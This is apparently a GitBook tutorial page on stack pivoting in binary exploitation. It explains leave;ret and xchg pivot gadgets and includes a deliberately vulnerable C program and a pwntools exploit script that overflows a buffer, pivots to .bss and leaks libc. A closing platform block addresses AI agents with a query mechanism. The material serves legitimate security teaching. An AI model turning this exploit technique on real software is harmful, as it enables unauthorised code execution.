> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/12.-stack-pivoting.md).

# 0x10 — Stack Pivoting

## Overview

**Stack Pivoting** is a technique used to redirect the stack pointer (`rsp`) from its current location to an attacker-controlled memory region (such as `.bss`, heap, or a buffer). This is useful when:

* The overflow is too small to fit a full ROP chain in place
* The current stack region is non-writable or otherwise constrained
* You need to move execution context to a larger controlled buffer

***

## The Core Idea

Normally, ROP chains live on the current stack (pointed to by `rsp`). Stack pivoting lets you:

1. Place your ROP chain somewhere else in memory (e.g., a heap buffer or `.bss`)
2. Change `rsp` to point there using a **pivot gadget**
3. Continue ROP execution from the new location

***

## Common Stack Pivoting Gadgets

### `xchg rsp, rax ; ret`

Swaps `rsp` and `rax`. If you control `rax`, you control the new stack.

### `leave ; ret`

Equivalent to:

```asm
mov rsp, rbp    ; rsp = rbp
pop rbp         ; rbp = [rsp]; rsp += 8
; then ret: rip = [rsp]; rsp += 8
```

If you can control `rbp`, you can pivot `rsp` to `rbp - 8`.

### `add rsp, N ; ret`

Skips forward in the stack by N bytes — useful to jump over junk.

### `pop rsp ; ret`

Directly loads `rsp` from the stack.

***

## Use Case 1: Small Overflow, Large Buffer Elsewhere

You have a 16-byte overflow — not enough for a full ROP chain. But you can write 200 bytes into a heap or `.bss` buffer.

```
1. Write full ROP chain to .bss or heap
2. Use small overflow to control RBP (via leave;ret pivot)
3. Pivot rsp to point at your chain
4. ROP continues from there
```

***

## Use Case 2: Leave-Ret Pivot (Most Common)

### How it works

`leave ; ret` pops `rbp` into `rsp` (after subtracting for the saved RBP slot).

So if you overflow saved `rbp` with `bss_addr + 8`, then trigger `leave ; ret`:

```
mov rsp, rbp        → rsp = bss_addr + 8
pop rbp             → rbp = *(bss_addr + 8), rsp = bss_addr + 16
ret                 → rip = *(bss_addr + 16), rsp = bss_addr + 24
```

Your ROP chain starts at `bss_addr + 16`.

***

## Full Example

### Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char global_buf[512];   // in .bss — fixed address!

void read_data() {
    // Read our ROP chain into global_buf
    read(0, global_buf, 512);
}

void vuln() {
    char buf[32];
    read_data();           // fill .bss with ROP chain
    read(0, buf, 64);      // 32 + 8 (RBP) + 8 (RIP) = 48 bytes to control RBP+RIP
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

### Exploit Plan

1. Send ROP chain (ret2libc or execve) to `global_buf` (BSS)
2. In the second `read`, overflow:
   * `buf[0..31]` — junk padding
   * `saved rbp` — set to `global_buf` address
   * `saved rip` — set to `leave ; ret` gadget
3. `leave ; ret` pivots `rsp` → `global_buf`
4. ROP chain executes from BSS

### Exploit Script

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

bss_addr    = elf.bss() + 0x100   # some offset into .bss

# Gadgets
leave_ret   = 0x401187    # leave ; ret  (find with: ROPgadget --binary vuln | grep "leave")
pop_rdi     = 0x401213    # pop rdi ; ret
ret         = 0x40101a    # ret

### Stage 1: Write ROP chain to .bss ###
# This chain: call puts(got_puts) to leak libc, then return to main
rop_chain  = p64(pop_rdi)
rop_chain += p64(elf.got['puts'])
rop_chain += p64(elf.plt['puts'])
rop_chain += p64(elf.sym['main'])

# Send it to global_buf (read_data reads 512 bytes from stdin)
p.send(rop_chain.ljust(512, b'\x00'))

### Stage 2: Pivot stack to .bss ###
# overflow in vuln() — 32 bytes buf + 8 bytes saved RBP + 8 bytes saved RIP
payload  = b'A' * 32           # fill buf
payload += p64(bss_addr - 8)   # overwrite saved RBP → used by leave as new rsp
payload += p64(leave_ret)       # overwrite saved RIP → pivot!

p.send(payload)

# Read leaked puts address
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")

### Stage 3: Exploit from here (standard ret2libc) ###
# ... send second stage payload
p.interactive()
```

***

## Use Case 3: `xchg rsp, rax` Pivot

If you control `rax` (e.g., return value of a function or via a pop gadget), use:

```python
xchg_rsp_rax = 0x401234   # xchg rsp, rax ; ret

payload  = b'A' * offset
payload += p64(pop_rax_gadget)
payload += p64(new_stack_addr)    # rax = our fake stack
payload += p64(xchg_rsp_rax)     # rsp = rax = our fake stack
# execution continues from new_stack_addr
```

***

## Locating the `leave ; ret` Gadget

```bash
ROPgadget --binary ./vuln | grep "leave"
# 0x401187 : leave ; ret

objdump -d ./vuln | grep -B1 "c3" | grep "c9 c3"
# c9 = leave, c3 = ret
```

***

## Memory Layout Reference

```
Normal stack:          Pivoted stack (after leave;ret):
+-----------+          +-------------------+
| buf[0..31]|          | global_buf[0..7]  |  ← rsp after pivot
+-----------+          +-------------------+
| saved RBP |          | rop gadget 1 addr |
+-----------+          +-------------------+
| saved RIP |          | rop gadget 2 addr |
+-----------+          +-------------------+
                       | ...               |
```

***

## Key Takeaways

* Stack pivoting redirects `rsp` to attacker-controlled memory
* The most common gadget: `leave ; ret` (abuses saved RBP)
* Other gadgets: `xchg rsp, rax`, `pop rsp`, `add rsp, N`
* Write your ROP chain to BSS or heap **first**, then pivot
* Useful when the overflow is small or the current stack can't hold a full chain

***

## Pitfalls

| Issue                     | Fix                                        |
| ------------------------- | ------------------------------------------ |
| ROP chain not aligned     | Ensure 8-byte alignment at pivot target    |
| Wrong pivot offset        | Double-check `saved rbp` location with GDB |
| `leave;ret` not in binary | Check libc or other loaded libraries       |
| BSS address wrong         | Use `elf.bss()` or check with `readelf -S` |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/12.-stack-pivoting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
